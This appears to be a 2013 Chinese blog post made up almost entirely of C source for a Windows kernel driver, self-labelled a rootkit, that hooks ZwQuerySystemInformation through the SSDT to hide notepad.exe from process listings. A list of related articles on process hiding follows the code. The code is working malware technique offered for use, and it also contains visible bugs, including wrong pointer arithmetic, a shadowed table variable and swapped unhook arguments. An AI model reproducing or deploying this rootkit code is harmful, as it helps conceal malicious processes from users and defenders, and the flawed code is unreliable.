hook zwQuerySysteminformation 隐藏进程
2013-08-10 14:03
381 查看
#include <ntddk.h> //#include <windows.h> typedef unsigned long DWORD; #pragma pack(1) typedef struct ServiceDescriptorEntry{ unsigned int *ServiceTableBase; unsigned int *ServiceCountTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; }ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() extern "C" __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //定位基地址 #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)(_function)+1)] //获得函数在SSDT中的索引宏 #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)(_Function)+1) //调换自己的hook函数与原系统函数的地址 #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (PULONG) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) //卸载hook函数 #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; typedef struct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitchCount; ULONG State; KWAIT_REASON WaitReason; }SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER Reserved[3]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE ProcessId; HANDLE InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; ULONG PrivatePageCount; VM_COUNTERS VirtualMemoryCounters; IO_COUNTERS IoCounters; SYSTEM_THREAD_INFORMATION Threads[0]; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; extern "C" NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; LARGE_INTEGER m_UserTime; LARGE_INTEGER m_KernelTime; //我们的hook函数,过滤掉notepad.exe的进程 NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS ntStatus; ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus)) { // Asking for a file and directory listing if(SystemInformationClass == 5) { // 列举系统进程链表 PSYSTEM_PROCESS_INFORMATION pCurr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; PSYSTEM_PROCESS_INFORMATION pPrev = NULL; while(pCurr) { if (pCurr->ImageName.Buffer != NULL) { if(0 == memcmp(pCurr->ImageName.Buffer, L"notepad.exe", 22)) { if(pPrev) // Middle or Last entry { if(pCurr->NextEntryOffset) pPrev->NextEntryOffset += pCurr->NextEntryOffset; else // we are last, so make prev the end pPrev->NextEntryOffset = 0; } else { if(pCurr->NextEntryOffset) { // we are first in the list, so move it forward SystemInformation = (UCHAR*)SystemInformation + pCurr->NextEntryOffset; } else // 唯一的进程 SystemInformation = NULL; } } } pPrev = pCurr; if(pCurr->NextEntryOffset) { pCurr = pCurr + pCurr->NextEntryOffset; } else { pCurr = NULL; } } } } return ntStatus; } VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("ROOTKIT: OnUnload called\n"); // 卸载hook UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation ); // 解索并释放MDL if(g_pmdlSystemCall) { MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); } } NTSTATUS DriverEntry( __in struct _DRIVER_OBJECT *DriverObject, __in PUNICODE_STRING RegistryPath ) { DWORD * MappedSystemCallTable = NULL; DbgPrint("ROOTKIT: Start\n"); DriverObject->DriverUnload = OnUnload; // 初始化全局时间为零 // 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100% m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)); g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); // 储存旧的函数地址 if(!g_pmdlSystemCall) { return STATUS_UNSUCCESSFUL; } MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // 改变MDL的Flags属性为可写,既然可写当然可读,可执行 g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = (DWORD*)MmMapLockedPages(g_pmdlSystemCall, KernelMode); // 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了 HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, MappedSystemCallTable ); return STATUS_SUCCESS; return STATUS_SUCCESS; }
相关文章推荐
- hook ZwQuerySystemInformation 隐藏进程
- hook zwQuerySysteminformation 隐藏进程
- Hook ZwQuerySystemInformation 隐藏qq程序
- Rootkit进程篇之进程隐藏 ( SSDT Hook QuerySystemInformation )
- Hook ZwQuerySystemInformation 隐藏qq程序
- 利用ZwQuerySystemInformation和paspi枚举进程
- ZwQuerySystemInformation 函数查看进程列表
- ZwQuerySystemInformation 查看系统进程信息
- 通过Hook SSDT (System Service Dispath Table) 隐藏进程
- ZwQuerySystemInformation 查看系统进程信息
- ZwQuerySystemInformation 查看系统进程信息
- ZwQuerySystemInformation 查看系统进程信息
- 隐藏进程 hook ZwQuerySystemInformation
- 进程隐藏与进程保护(SSDT Hook 实现)(二)
- 进程隐藏与进程保护(SSDT Hook 实现)(二)
- 函数ZwQuerySystemInformation小结
- 进程隐藏与进程保护(SSDT Hook 实现)(三)
- 内核层 inlinehook 隐藏进程
- NtQuerySystemInformation和ZwQuerySystemInformation的区别
- hook ZwQueryDirectoryFile实现文件隐藏